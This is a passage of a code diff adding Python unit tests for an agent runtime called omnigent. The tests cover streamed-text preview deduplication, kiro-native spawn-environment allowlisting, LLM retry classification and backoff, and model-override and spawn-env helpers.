arrives (a multi-text-block mismatch, or a delta the best-effort
forwarder dropped) would otherwise persist for the whole session. This
pins that it goes stale: an identical-text message a later turn must NOT
be suppressed by it.
Drives the monotonic clock via the ``_monotonic`` indirection (patched,
not the global ``time.monotonic`` — that would leak across workers).
"""
cid = "conv_native_ttl_expire"
clock = {"now": 1000.0}
monkeypatch.setattr(inflight_text, "_monotonic", lambda: clock["now"])
# A commit lands first (single-chunk race) and buffers "OK" at t=1000,
# but its own delta never arrives (e.g. dropped) — the fingerprint is
# now stale and would mis-suppress a future "OK".
inflight_text.record_publish(cid, _message_done("ci_1", text="OK"))
# A genuinely independent "OK" message streams a later turn, past the TTL.
clock["now"] = 1000.0 + inflight_text._NATIVE_COMMITTED_TTL_S + 1.0
suppress = inflight_text.record_publish(cid, _native_delta("m_later", 0, "OK", final=True))
# Expired → NOT a match: True here would mean the stale fingerprint hid a
# legitimate later message (the cross-turn-leak regression this guards).
assert suppress is False, "a fingerprint older than the TTL must not suppress a later message"
# And the later message is a normal live message (still in the index).
assert [e["message_id"] for e in inflight_text.snapshot_for(cid)] == ["m_later"], (
"the un-suppressed later message must remain a live preview"
)
def test_native_committed_fingerprint_within_ttl_still_suppresses(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
The legitimate single-chunk race (delta within the TTL) still suppresses.
The companion to the expiry test: a delta arriving inside the TTL window
is still the commit's own racing chunk, so it must be retired and
suppressed exactly as before. Guards against a TTL set so tight it
re-opens the duplicate the fix exists to kill.
"""
cid = "conv_native_ttl_fresh"
clock = {"now": 5000.0}
monkeypatch.setattr(inflight_text, "_monotonic", lambda: clock["now"])
# Commit buffers "Hello" at t=5000.
inflight_text.record_publish(cid, _message_done("ci_1", text="Hello"))
# Its racing final delta lands well within the TTL window.
clock["now"] = 5000.0 + (inflight_text._NATIVE_COMMITTED_TTL_S / 2.0)
suppress = inflight_text.record_publish(cid, _native_delta("m1", 0, "Hello", final=True))
assert suppress is True, (
"a delta racing within the TTL is the commit's own chunk — suppress it"
)
assert inflight_text.snapshot_for(cid) == [], "and the message is retired (no replay)"
def test_native_output_item_done_non_message_keeps_previews() -> None:
"""
A ``function_call`` ``output_item.done`` must NOT drop a preview.
Only assistant message items commit streamed text; a tool-call item
is unrelated, so dropping a preview on it would lose an in-flight
message that is still streaming.
"""
cid = "conv_native_tool"
inflight_text.record_publish(cid, _native_delta("m1", 0, "thinking"))
inflight_text.record_publish(
cid,
{
"type": "response.output_item.done",
"item": {"type": "function_call", "id": "fc_1", "name": "Bash", "arguments": "{}"},
},
)
snap = inflight_text.snapshot_for(cid)
# The in-flight message survives a tool-call commit.
assert [e["message_id"] for e in snap] == ["m1"]
def test_native_delta_dedupes_by_index() -> None:
"""
A replayed chunk at an already-seen index is ignored (no double text).
The forwarder de-dupes by ``(message_id, index)`` and forwards in
order, but a reconnect/replay can re-deliver a chunk; a chunk at or
below the high-water index must not be appended again.
"""
cid = "conv_native_dup"
inflight_text.record_publish(cid, _native_delta("m1", 0, "Hello "))
inflight_text.record_publish(cid, _native_delta("m1", 1, "world"))
# Duplicate of index 1 (and a stale index 0) — both ignored.
inflight_text.record_publish(cid, _native_delta("m1", 1, "world"))
inflight_text.record_publish(cid, _native_delta("m1", 0, "Hello "))
snap = inflight_text.snapshot_for(cid)
assert snap[0]["delta"] == "Hello world", f"duplicate index doubled the text: {snap!r}"
@pytest.mark.parametrize("terminal_status", ["idle", "failed"])
def test_native_previews_survive_terminal_session_status(terminal_status: str) -> None:
"""
A terminal ``session.status`` must NOT clear in-flight native previews.
Claude-native goes ``idle`` (its PTY falls quiet) MID-TURN while
parked on a permission prompt, with streamed text that has not yet
committed to the store. Dropping the preview on ``idle`` would lose
exactly that text on reload — the user-reported bug (streamed text +
pending elicitation, gone on refresh). Native previews are evicted
per-message by ``output_item.done`` and wholesale by ``discard``, not
by session status. (Contrast ``test_terminal_session_status_clears_entry``,
which pins that the RESPONSE-scoped blob still clears on ``idle`` —
in-process agents emit ``waiting`` for a parked elicitation, so their
``idle`` always means turn-over.)
"""
cid = "conv_native_status"
inflight_text.record_publish(cid, _native_delta("m1", 0, "partial answer"))
inflight_text.record_publish(cid, _status(terminal_status))
# The preview survives the status flip so a refresh during the
# approval-wait still replays the streamed-so-far text.
snap = inflight_text.snapshot_for(cid)
assert [e["message_id"] for e in snap] == ["m1"], (
f"native preview wrongly dropped by session.status {terminal_status!r}: {snap!r}"
)
assert snap[0]["delta"] == "partial answer"
def test_native_discard_clears_previews() -> None:
""":func:`discard` drops in-flight native previews (relay-exit backstop)."""
cid = "conv_native_discard"
inflight_text.record_publish(cid, _native_delta("m1", 0, "partial"))
assert inflight_text.snapshot_for(cid), "expected a preview before discard"
inflight_text.discard(cid)
assert inflight_text.snapshot_for(cid) == []
+136
View File
@@ -0,0 +1,136 @@
"""Unit tests for the kiro-native spawn-env / terminal-env builders.
The kiro-native harness is terminal-first: the runner spawns ``kiro-cli`` in a
tmux pane and the executor reads ``HARNESS_KIRO_NATIVE_BRIDGE_DIR`` to find the
per-session bridge directory. Two builders in ``omnigent.kiro_native_bridge``
produce that env:
* :func:`build_kiro_native_spawn_env` — the minimal env handed to the harness
executor: *only* the bridge-dir pointer (kiro has no provider/model/theme env,
unlike goose-native's ``build_goose_native_spawn_env``).
* :func:`build_kiro_native_terminal_env` — the allowlisted child env for the
``kiro-cli`` process itself: the bridge-dir pointer and the ACP-record path,
plus a fixed allowlist of terminal/locale vars, with everything else (ambient
provider keys, arbitrary exports) dropped.
This is the kiro sibling of ``tests/runtime/test_goose_spawn_env.py``. Like that
suite it does not isolate ``TMPDIR`` — ``_BRIDGE_ROOT`` is resolved at import
time, so the builders write their per-session dir under the real
``/tmp/omnigent-<uid>/kiro-native/`` and the assertions key off the path shape,
determinism, and permissions rather than an injected root.
"""
from __future__ import annotations
import stat
from omnigent.kiro_native_bridge import (
KIRO_ACP_RECORD_PATH_ENV_VAR,
KIRO_NATIVE_BRIDGE_DIR_ENV_VAR,
acp_record_path,
bridge_dir_for_session_id,
build_kiro_native_spawn_env,
build_kiro_native_terminal_env,
)
def test_spawn_env_sets_only_the_bridge_dir() -> None:
"""The spawn env carries the bridge-dir pointer and nothing else.
kiro-native's executor reads the session bridge dir from this single var; the
harness owns no provider/model/theme env (the sibling goose builder adds
``GOOSE_*``). Asserting an exact one-key set pins that minimality — a refactor
that leaked an extra var here would surface.
"""
env = build_kiro_native_spawn_env("sess-1")
assert set(env) == {KIRO_NATIVE_BRIDGE_DIR_ENV_VAR}
bridge_dir = env[KIRO_NATIVE_BRIDGE_DIR_ENV_VAR]
# It is ``<root>/kiro-native/<hash>`` — the segment is present, but the path
# does not *end* at the harness root (that would mean no per-session hash).
assert "kiro-native/" in bridge_dir
assert not bridge_dir.endswith("kiro-native")
assert bridge_dir == str(bridge_dir_for_session_id("sess-1"))
def test_spawn_env_bridge_dir_is_deterministic_per_session() -> None:
"""Same session id → same bridge dir; a different id → a different dir.
The dir is keyed by a hash of the session id, so resume/fork of the same
session must resolve to the same bridge dir, and two sessions must never
collide. Mirrors ``test_goose_spawn_env``'s determinism check.
"""
a = build_kiro_native_spawn_env("same")[KIRO_NATIVE_BRIDGE_DIR_ENV_VAR]
b = build_kiro_native_spawn_env("same")[KIRO_NATIVE_BRIDGE_DIR_ENV_VAR]
c = build_kiro_native_spawn_env("other")[KIRO_NATIVE_BRIDGE_DIR_ENV_VAR]
assert a == b
assert a != c
def test_spawn_env_creates_bridge_dir_with_0700() -> None:
"""Building the spawn env materializes the bridge dir, private to the owner.
The bridge dir holds the tmux target + forwarder handshake files, so it is
created eagerly with ``0o700`` (``prepare_bridge_dir`` mkdirs then chmods).
"""
bridge_dir = bridge_dir_for_session_id("sess-perm")
build_kiro_native_spawn_env("sess-perm")
assert bridge_dir.is_dir()
assert stat.S_IMODE(bridge_dir.stat().st_mode) == 0o700
def test_terminal_env_keeps_allowlisted_vars_and_adds_bridge_dir() -> None:
"""The child env forwards allowlisted terminal/locale vars + the bridge dir.
``kiro-cli`` needs the terminal/locale context (``TERM``/``LANG``/…) and its
config-home vars to render and locate state, plus the bridge-dir pointer so
the in-pane process and the forwarder agree on the handshake directory.
"""
source_env = {
"HOME": "/home/agent",
"PATH": "/usr/bin",
"TERM": "xterm-256color",
"LANG": "en_US.UTF-8",
"KIRO_CONFIG_HOME": "/home/agent/.kiro",
}
env = build_kiro_native_terminal_env("sess-2", source_env=source_env)
for key, value in source_env.items():
assert env[key] == value
bridge_dir = bridge_dir_for_session_id("sess-2")
assert env[KIRO_NATIVE_BRIDGE_DIR_ENV_VAR] == str(bridge_dir)
# The ACP transcript-record path is injected too, under the bridge dir.
assert env[KIRO_ACP_RECORD_PATH_ENV_VAR] == str(acp_record_path(bridge_dir))
def test_terminal_env_drops_non_allowlisted_and_ambient_secrets() -> None:
"""Anything off the allowlist — arbitrary exports and provider keys — is dropped.
The builder is an allowlist, not a denylist, so a leaked ``ANTHROPIC_API_KEY``
(kiro authenticates against its own backend and must not inherit ambient
provider creds) and a junk ``RANDOM_EXPORT`` both fall away. Only the harness's
own injected vars (bridge dir + ACP record path) survive from an otherwise-
disallowed source env.
"""
source_env = {
"ANTHROPIC_API_KEY": "sk-should-not-leak",
"AWS_SECRET_ACCESS_KEY": "should-not-leak",
"RANDOM_EXPORT": "nope",
}
env = build_kiro_native_terminal_env("sess-3", source_env=source_env)
assert "ANTHROPIC_API_KEY" not in env
assert "AWS_SECRET_ACCESS_KEY" not in env
assert "RANDOM_EXPORT" not in env
# Nothing from the (all-disallowed) source env survives — only the harness's
# own injected vars remain.
assert set(env) == {KIRO_NATIVE_BRIDGE_DIR_ENV_VAR, KIRO_ACP_RECORD_PATH_ENV_VAR}
def test_terminal_env_drops_empty_allowlisted_var() -> None:
"""An allowlisted var present-but-empty is omitted, not forwarded blank.
The builder keeps a key only when ``env.get(key)`` is truthy, so an exported
``HOME=""`` resolves to *absent* rather than an empty string that would
mislead ``kiro-cli`` into a bogus home.
"""
env = build_kiro_native_terminal_env("sess-4", source_env={"HOME": "", "TERM": "xterm"})
assert "HOME" not in env
assert env["TERM"] == "xterm"
+462
View File
@@ -0,0 +1,462 @@
"""Tests for LLM retry logic: classification, backoff, and retry loop."""
from __future__ import annotations
from typing import Any
from unittest.mock import MagicMock
import httpx
import pytest
from omnigent.llms.errors import LLMErrorDetail, PermanentLLMError, RetryableLLMError
from omnigent.runtime.llm_retry import (
classify_llm_error,
compute_backoff_delay,
detail_to_dict,
execute_with_retry,
)
from omnigent.spec.types import RetryPolicy
@pytest.fixture()
def retryable_status_codes() -> list[int]:
"""
Default retryable HTTP status codes used across classification tests.
:returns: List of retryable status codes, e.g. ``[429, 500, 502, 503]``.
"""
return [429, 500, 502, 503]
@pytest.fixture()
def retry_config_fast() -> RetryPolicy:
"""
Retry config with minimal backoff for fast tests.
Uses tiny backoff values so ``time.sleep`` (patched out) durations
are negligible even if the patch were removed.
:returns: A :class:`RetryPolicy` with 3 attempts and near-zero backoff.
"""
return RetryPolicy(
max_retries=3,
backoff_base_s=0.001,
backoff_max_s=0.01,
retryable_status_codes=[429, 500, 502, 503],
)
def _make_http_status_error(status_code: int, body: str = "error") -> httpx.HTTPStatusError:
"""
Build a minimal ``httpx.HTTPStatusError`` for testing.
:param status_code: HTTP status code for the mock response, e.g. ``429``.
:param body: Response body text, e.g. ``"rate limited"``.
:returns: An ``httpx.HTTPStatusError`` with the given status and body.
"""
request = httpx.Request("POST", "http://test")
response = httpx.Response(status_code, text=body, request=request)
return httpx.HTTPStatusError("error", request=request, response=response)
# ── classify_llm_error ───────────────────────────────────────────────
def test_classify_timeout_is_retryable(
retryable_status_codes: list[int],
) -> None:
"""
Timeout exceptions must be classified as retryable with code='timeout'.
"""
exc = httpx.TimeoutException("timeout")
result = classify_llm_error(exc, retryable_status_codes)
# Timeouts are always transient — must produce RetryableLLMError.
# Failure would mean timeouts are treated as permanent, skipping retry.
assert isinstance(result, RetryableLLMError)
# Code must be "timeout" so SSE events can distinguish timeout retries.
# Failure would mean downstream consumers misidentify the error type.
assert result.code == "timeout"
def test_classify_retryable_http_status(
retryable_status_codes: list[int],
) -> None:
"""
HTTP 429 must be classified as retryable when 429 is in the retryable list.
"""
exc = _make_http_status_error(429, body="rate limited")
result = classify_llm_error(exc, retryable_status_codes)
# 429 is in retryable_status_codes — must produce RetryableLLMError.
# Failure would mean rate-limited requests are not retried.
assert isinstance(result, RetryableLLMError)
# Code must be the string form of the status code for SSE events.
# Failure would mean the retry event carries the wrong error code.
assert result.code == "429"
def test_classify_non_retryable_http_status(
retryable_status_codes: list[int],
) -> None:
"""
HTTP 401 must be classified as permanent when not in the retryable list.
"""
exc = _make_http_status_error(401, body="unauthorized")
result = classify_llm_error(exc, retryable_status_codes)
# 401 is not in retryable_status_codes — must produce PermanentLLMError.
# Failure would mean auth failures are retried, wasting time.
assert isinstance(result, PermanentLLMError)
# Code must be the string form of the status code.
# Failure would mean the error event carries the wrong code.
assert result.code == "401"
def test_classify_unknown_exception(
retryable_status_codes: list[int],
) -> None:
"""
Generic exceptions must be classified as permanent.
"""
exc = Exception("something unexpected")
result = classify_llm_error(exc, retryable_status_codes)
# Generic exceptions are not retryable — must produce PermanentLLMError.
# Failure would mean unknown errors are retried indefinitely.
assert isinstance(result, PermanentLLMError)
assert result.code == "unknown_error"
def test_classify_connection_error_is_retryable(
retryable_status_codes: list[int],
) -> None:
"""
``ConnectionError`` (tunnel disconnect, socket reset) must be retryable.
The tunnel registry raises bare ``ConnectionError`` when the
runner WebSocket closes mid-request. This is transient — the
runner reconnects with backoff — so the retry loop must fire.
"""
exc = ConnectionError("tunnel closed before request completed")
result = classify_llm_error(exc, retryable_status_codes)
assert isinstance(result, RetryableLLMError)
assert result.code == "connection_error"
# ── compute_backoff_delay ────────────────────────────────────────────
def test_compute_backoff_basic() -> None:
"""
Backoff delay must be at most base * 2^index (before cap), with jitter.
Formula: ``base * (2 ** attempt_index)``, then cap at ``backoff_max_s``,
then jitter via uniform(0.5, 1.5).
"""
base = 2.0
max_delay = 30.0
delay = compute_backoff_delay(attempt_index=2, backoff_base_s=base, backoff_max_s=max_delay)
deterministic = min(base * (2**2), max_delay)
# Delay must not exceed deterministic * 1.5 (max jitter multiplier).
# Failure would mean the exponential formula, cap, or jitter is broken.
assert delay <= deterministic * 1.5
# Jitter multiplier is uniform(0.5, 1.5), so delay >= 50% of deterministic.
# Failure would mean jitter range is wrong (too aggressive).
assert delay >= deterministic * 0.5
def test_compute_backoff_capped() -> None:
"""
Backoff delay must be capped at backoff_max_s even when base*2^index exceeds it.
"""
# base=10, index=3 → 80, but max=5 should cap it.
delay = compute_backoff_delay(attempt_index=3, backoff_base_s=10.0, backoff_max_s=5.0)
# Delay must never exceed backoff_max_s * 1.5 (max jitter).
# Failure would mean the cap is not applied, causing excessive waits.
assert delay <= 5.0 * 1.5
# Jitter floor is 50% of the cap.
assert delay >= 5.0 * 0.5
# ── execute_with_retry ───────────────────────────────────────────────
def test_execute_with_retry_success_first_attempt(
retry_config_fast: RetryPolicy,
) -> None:
"""
When call_fn succeeds on the first attempt, no retry callback fires.
"""
call_fn = MagicMock(return_value="ok")
on_retry = MagicMock()
result = execute_with_retry(call_fn, retry_config_fast, on_retry)
# call_fn succeeds immediately — result must be the return value.
# Failure would mean the retry loop doesn't propagate success.
assert result == "ok"
# call_fn must be called exactly once (no unnecessary retries).
# Failure would mean the loop retries even on success.
assert call_fn.call_count == 1
# on_retry must never fire when the first attempt succeeds.
# Failure would mean spurious retry events are emitted.
assert on_retry.call_count == 0
def test_execute_with_retry_retries_on_timeout(
retry_config_fast: RetryPolicy,
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
Timeout on first call must trigger one retry; second success is returned.
"""
# Patch time.sleep to avoid real delays in tests.
monkeypatch.setattr("omnigent.runtime.llm_retry.time.sleep", lambda _: None)
call_fn = MagicMock(side_effect=[httpx.TimeoutException("timeout"), "recovered"])
on_retry = MagicMock()
result = execute_with_retry(call_fn, retry_config_fast, on_retry)
# Second call succeeds — result must be "recovered".
# Failure would mean the retry loop doesn't return the recovery value.
assert result == "recovered"
# call_fn must be called twice: initial failure + one retry.
# Failure would mean too many or too few attempts.
assert call_fn.call_count == 2
# on_retry must fire exactly once (before the single retry).
# Failure would mean retry events are missing or duplicated.
assert on_retry.call_count == 1
def test_execute_with_retry_permanent_error_no_retry(
retry_config_fast: RetryPolicy,
) -> None:
"""
A permanent error (401) must raise immediately without any retry.
"""
exc = _make_http_status_error(401, body="unauthorized")
call_fn = MagicMock(side_effect=exc)
on_retry = MagicMock()
with pytest.raises(PermanentLLMError) as exc_info:
execute_with_retry(call_fn, retry_config_fast, on_retry)
# PermanentLLMError must be raised, not RetryableLLMError.
# Failure would mean non-retryable errors are silently retried.
assert exc_info.value.code == "401"
# call_fn must be called exactly once — no retry on permanent errors.
# Failure would mean wasted attempts on auth failures.
assert call_fn.call_count == 1
# on_retry must never fire for permanent errors.
# Failure would mean false retry events are emitted to clients.
assert on_retry.call_count == 0
def test_execute_with_retry_exhausted_raises(
retry_config_fast: RetryPolicy,
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
When all attempts fail with retryable errors, RetryableLLMError is raised.
"""
# Patch time.sleep to avoid real delays in tests.
monkeypatch.setattr("omnigent.runtime.llm_retry.time.sleep", lambda _: None)
call_fn = MagicMock(
side_effect=httpx.TimeoutException("timeout"),
)
on_retry = MagicMock()
with pytest.raises(RetryableLLMError) as exc_info:
execute_with_retry(call_fn, retry_config_fast, on_retry)
# After exhausting all attempts, RetryableLLMError must be raised.
# Failure would mean the loop silently returns None or hangs.
assert exc_info.value.code == "timeout"
# Total tries = max_retries + 1 (initial + retries). With
# max_retries=3 → 4 tries.
# Failure would mean the loop exits early or retries beyond the limit.
assert call_fn.call_count == retry_config_fast.max_retries + 1
# on_retry fires between tries, so max_retries times.
# Failure would mean retry events don't match the actual retry count.
assert on_retry.call_count == retry_config_fast.max_retries
# ── SSE retry event structure ────────────────────────────────────────
def test_retry_event_structure_on_timeout(
retry_config_fast: RetryPolicy,
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
Timeout retry event must contain the exact SSE payload structure.
Verifies every field of the ``response.retry`` event dict passed
to ``on_retry`` when a timeout triggers a retry.
"""
# Patch time.sleep to avoid real delays in tests.
monkeypatch.setattr("omnigent.runtime.llm_retry.time.sleep", lambda _: None)
call_fn = MagicMock(
side_effect=[httpx.TimeoutException("timeout"), "ok"],
)
captured_events: list[dict[str, Any]] = []
def on_retry(event: dict[str, Any]) -> None:
"""Capture retry events for inspection."""
captured_events.append(event)
execute_with_retry(call_fn, retry_config_fast, on_retry)
# Exactly one retry event must be captured.
# Failure would mean the retry loop emitted wrong number of events.
assert len(captured_events) == 1
event = captured_events[0]
# "type" must be "response.retry" — the SSE event discriminator.
# Failure would break client-side event routing.
assert event["type"] == "response.retry"
# "source" must be "llm" — distinguishes LLM retries from others.
# Failure would cause clients to misattribute the retry source.
assert event["source"] == "llm"
# "attempt" must be 2 — next attempt number, 1-based.
# First call is attempt 1, so the retry targets attempt 2.
# Failure would mean attempt numbering is off-by-one.
assert event["attempt"] == 2
# "max_retries" must match the retry config value.
# Failure would give clients wrong retry budget information.
assert event["max_attempts"] == retry_config_fast.max_retries + 1
# "delay_seconds" must be a positive float (backoff duration).
# Failure would mean the backoff calculation produced invalid delay.
assert isinstance(event["delay_seconds"], float)
assert event["delay_seconds"] >= 0
# "error.code" must be "timeout" for timeout-triggered retries.
# Failure would mean the error classification is wrong.
assert event["error"]["code"] == "timeout"
# "error.message" must contain "timed out" from the classification.
# Failure would mean the human-readable message is malformed.
assert "timed out" in event["error"]["message"]
# "error.detail" must be None because LLMErrorDetail() has all
# None fields, which detail_to_dict converts to None.
# Failure would mean empty details leak into the SSE payload.
assert event["error"]["detail"] is None
def test_retry_event_structure_on_http_429(
retry_config_fast: RetryPolicy,
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
HTTP 429 retry event must carry status code and body in error detail.
Verifies the ``error.code`` and ``error.detail`` fields when a
rate-limit response triggers a retry.
"""
# Patch time.sleep to avoid real delays in tests.
monkeypatch.setattr("omnigent.runtime.llm_retry.time.sleep", lambda _: None)
exc = _make_http_status_error(429, body="rate limited")
call_fn = MagicMock(side_effect=[exc, "ok"])
captured_events: list[dict[str, Any]] = []
def on_retry(event: dict[str, Any]) -> None:
"""Capture retry events for inspection."""
captured_events.append(event)
execute_with_retry(call_fn, retry_config_fast, on_retry)
# Exactly one retry event must be captured.
# Failure would mean wrong number of retry events emitted.
assert len(captured_events) == 1
event = captured_events[0]
# "error.code" must be "429" — the string form of the status code.
# Failure would mean HTTP status is not propagated correctly.
assert event["error"]["code"] == "429"
# "error.detail" must be a dict with status_code and response_body.
# Failure would mean provider diagnostics are lost in the SSE event.
assert event["error"]["detail"] == {
"status_code": 429,
"response_body": "rate limited",
}
# Top-level fields must still follow the standard structure.
# Failure would mean the event schema is inconsistent across errors.
assert event["type"] == "response.retry"
assert event["source"] == "llm"
assert event["attempt"] == 2
assert event["max_attempts"] == retry_config_fast.max_retries + 1
assert isinstance(event["delay_seconds"], float)
assert event["delay_seconds"] >= 0
# ── detail_to_dict ───────────────────────────────────────────────────
def test_detail_to_dict_with_all_fields() -> None:
"""
detail_to_dict must include all non-None fields from LLMErrorDetail.
"""
detail = LLMErrorDetail(
provider="openai",
status_code=429,
response_body='{"error": "rate limit"}',
)
result = detail_to_dict(detail)
# All three fields are set — dict must contain all of them.
# Failure would mean some fields are silently dropped.
assert result == {
"provider": "openai",
"status_code": 429,
"response_body": '{"error": "rate limit"}',
}
def test_detail_to_dict_with_none() -> None:
"""
detail_to_dict(None) must return None — no detail to serialize.
"""
result = detail_to_dict(None)
# None input must produce None output, not an empty dict.
# Failure would mean the SSE payload contains a spurious empty dict.
assert result is None
def test_detail_to_dict_with_empty_detail() -> None:
"""
detail_to_dict with all-None fields must return None, not empty dict.
An LLMErrorDetail with no fields set (e.g. timeout errors) produces
an empty dict internally, which is collapsed to None to keep the
SSE JSON payload clean.
"""
detail = LLMErrorDetail()
result = detail_to_dict(detail)
# All fields are None → empty dict → collapsed to None.
# Failure would mean empty dicts leak into the SSE event payload.
assert result is None
+105
View File
@@ -0,0 +1,105 @@
"""Unit tests for the workflow-level ``_apply_request_model_override`` helper.
Mirrors the shape of :mod:`tests.runtime.test_reasoning_effort_validation`
in scope (workflow-internal helper, no DBOS / no FastAPI). The helper
backs the ``/model`` slash command's server-side substitution step:
the request's optional ``model_override`` becomes the effective
``LLMConfig.model`` for that single execution while also being
stashed in ``extra["model_override"]`` so the harness path can
forward it.
"""
from __future__ import annotations
from omnigent.runtime.workflow import _apply_request_model_override
from omnigent.spec.types import LLMConfig
def test_apply_request_model_override_none_returns_input_unchanged() -> None:
"""Passing ``None`` is a no-op — the spec's model and extra survive.
Critical to the design contract: when no per-request override
is set, the agent spec's configured model wins. Any leak here
would silently swap models on every request.
"""
original = LLMConfig(
model="databricks-gpt-5-4",
extra={"temperature": 0.5},
)
result = _apply_request_model_override(original, None)
# The returned value is functionally identical to the input.
assert result.model == "databricks-gpt-5-4"
assert result.extra == {"temperature": 0.5}
# ``extra["model_override"]`` is absent — downstream harness
# propagation must distinguish "no override" from "override
# set to the spec's own model".
assert "model_override" not in result.extra
def test_apply_request_model_override_substitutes_model_field() -> None:
"""A non-None override becomes the effective ``llm_config.model``.
The harness subprocess reads ``llm_config.model`` when calling
the LLM; substituting it here is what makes the override
actually take effect on the wire.
"""
original = LLMConfig(
model="databricks-gpt-5-4",
extra={"temperature": 0.5},
)
result = _apply_request_model_override(original, "openai/gpt-5.4-mini")
assert result.model == "openai/gpt-5.4-mini"
def test_apply_request_model_override_stashes_override_in_extra() -> None:
"""The override is also recorded in ``extra["model_override"]``.
The harness path can't distinguish "spec default model" from
"user-set override" by looking at ``llm_config.model`` alone —
both produce the same string after substitution. ``extra`` is
the unambiguous signal that ``the harness HTTP client`` reads to
decide whether to emit ``body["model_override"]`` on the wire.
"""
original = LLMConfig(model="databricks-gpt-5-4", extra={})
result = _apply_request_model_override(original, "openai/gpt-5.4-mini")
assert result.extra["model_override"] == "openai/gpt-5.4-mini"
def test_apply_request_model_override_preserves_other_extra_keys() -> None:
"""Existing ``extra`` keys (temperature, reasoning_effort) survive.
``_apply_request_model_override`` runs AFTER
``_apply_request_reasoning``, so any reasoning_effort the
request layered in must still be present after the model
substitution. If this regresses, ``/effort`` and ``/model``
silently fight when used together.
"""
original = LLMConfig(
model="databricks-gpt-5-4",
extra={"temperature": 0.5, "reasoning_effort": "high"},
)
result = _apply_request_model_override(original, "openai/gpt-5.4-mini")
# Pre-existing keys still there.
assert result.extra["temperature"] == 0.5
assert result.extra["reasoning_effort"] == "high"
# New key added on top.
assert result.extra["model_override"] == "openai/gpt-5.4-mini"
def test_apply_request_model_override_does_not_mutate_input() -> None:
"""The helper returns a new LLMConfig — the input is untouched.
Mirrors ``_apply_request_reasoning``'s contract. Mutation of
the agent's cached ``spec.llm`` would leak the override into
every subsequent request hitting the same spec, which is
exactly the bug ``LLMConfig``'s frozen-by-convention contract
exists to prevent.
"""
original = LLMConfig(
model="databricks-gpt-5-4",
extra={"temperature": 0.5},
)
_apply_request_model_override(original, "openai/gpt-5.4-mini")
# Original is unchanged after the call.
assert original.model == "databricks-gpt-5-4"
assert original.extra == {"temperature": 0.5}
@@ -0,0 +1,489 @@
"""
Tests for ``_build_openai_agents_sdk_spawn_env`` in
``omnigent/runtime/workflow.py``.
The spawn-env builder maps ``spec.executor`` fields to
``HARNESS_OPENAI_AGENTS_*`` env vars that the openai-agents harness
wrap reads at first-turn time. Mirrors the
the spawn-env pattern used by the other SDK-style harness tests.
This is a unit test — no subprocess spawn, no real httpx. End-to-end
verification of the spawn-env → wrap → runtime executor → gateway
path lives in the harness e2e tests.
"""
from __future__ import annotations
import tempfile
from pathlib import Path
import pytest
import yaml as _yaml
from omnigent.runtime.workflow import _build_openai_agents_sdk_spawn_env, _load_global_auth
from omnigent.spec.types import (
AgentSpec,
ApiKeyAuth,
DatabricksAuth,
ExecutorSpec,
LLMConfig,
)
@pytest.fixture(autouse=True)
def _isolate_global_config(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> None:
"""
Point OMNIGENT_CONFIG_HOME at an empty temp dir for every test in
this file so tests that don't explicitly set up a global config are
not affected by the developer's real ``~/.omnigent/config.yaml``.
Tests that need a specific global config write their own config.yaml
into a separate temp dir and set OMNIGENT_CONFIG_HOME themselves —
that setenv call wins because monkeypatch applies in call order.
"""
monkeypatch.setenv("OMNIGENT_CONFIG_HOME", str(tmp_path))
def _make_spec(
*,
model: str | None = "databricks-gpt-5-4-mini",
profile: str | None = None,
use_responses: bool | None = None,
auth: ApiKeyAuth | DatabricksAuth | None = None,
) -> AgentSpec:
"""
Build a minimal openai-agents :class:`AgentSpec` for the
spawn-env tests.
:param model: ``spec.executor.config["model"]``; ``None`` omits
the model from the executor config.
:param profile: ``spec.executor.config["profile"]``; ``None``
omits it (no profile declared in YAML).
:param use_responses: ``spec.executor.config["use_responses"]``;
``None`` omits it (executor default applies).
:param auth: Typed auth object placed on ``spec.executor.auth``;
``None`` omits it (harness falls back to legacy/env-var paths).
:returns: A populated :class:`AgentSpec`.
"""
config: dict[str, object] = {"harness": "openai-agents"}
if model is not None:
config["model"] = model
if profile is not None:
config["profile"] = profile
if use_responses is not None:
config["use_responses"] = use_responses
return AgentSpec(
spec_version=1,
name="test-openai-agents",
instructions="You are a test agent.",
executor=ExecutorSpec(type="omnigent", config=config, model=model, auth=auth),
llm=LLMConfig(model=model) if model is not None else None,
)
def test_model_threads_into_env_var() -> None:
"""``executor.config["model"]`` is encoded into ``HARNESS_OPENAI_AGENTS_MODEL``."""
env = _build_openai_agents_sdk_spawn_env(_make_spec(model="databricks-gpt-5-4-mini"))
assert env["HARNESS_OPENAI_AGENTS_MODEL"] == "databricks-gpt-5-4-mini"
def test_explicit_profile_threads_into_env_var() -> None:
"""An explicit ``executor.profile`` sets ``HARNESS_OPENAI_AGENTS_DATABRICKS_PROFILE``."""
env = _build_openai_agents_sdk_spawn_env(
_make_spec(model="databricks-gpt-5-4-mini", profile="my-profile")
)
assert env["HARNESS_OPENAI_AGENTS_DATABRICKS_PROFILE"] == "my-profile"
def test_databricks_model_without_profile_gets_default_profile(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
A ``databricks-`` model with no explicit profile auto-sets
``HARNESS_OPENAI_AGENTS_DATABRICKS_PROFILE`` to ``"DEFAULT"``
when ``DATABRICKS_CONFIG_PROFILE`` is not set.
Without this, ``OPENAI_API_KEY`` in the caller's environment
(injected by Claude Code or a prior export) short-circuits the
executor's Databricks fallback and the request hits
``api.openai.com`` instead, producing a "model not found" error
for any ``databricks-`` model name.
"""
monkeypatch.delenv("DATABRICKS_CONFIG_PROFILE", raising=False)
env = _build_openai_agents_sdk_spawn_env(
_make_spec(model="databricks-kimi-k2-6", profile=None)
)
assert env["HARNESS_OPENAI_AGENTS_DATABRICKS_PROFILE"] == "DEFAULT"
def test_databricks_slash_prefix_gets_default_profile(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
``databricks/`` provider-prefix form (LiteLLM convention) also triggers
auto-Databricks routing when no profile is explicitly set.
What breaks if this fails: users writing ``model: databricks/kimi-k2``
in a harness YAML get silent routing to ``api.openai.com`` instead of
the Databricks gateway, producing a confusing "model not found" error.
"""
monkeypatch.delenv("DATABRICKS_CONFIG_PROFILE", raising=False)
env = _build_openai_agents_sdk_spawn_env(_make_spec(model="databricks/kimi-k2", profile=None))
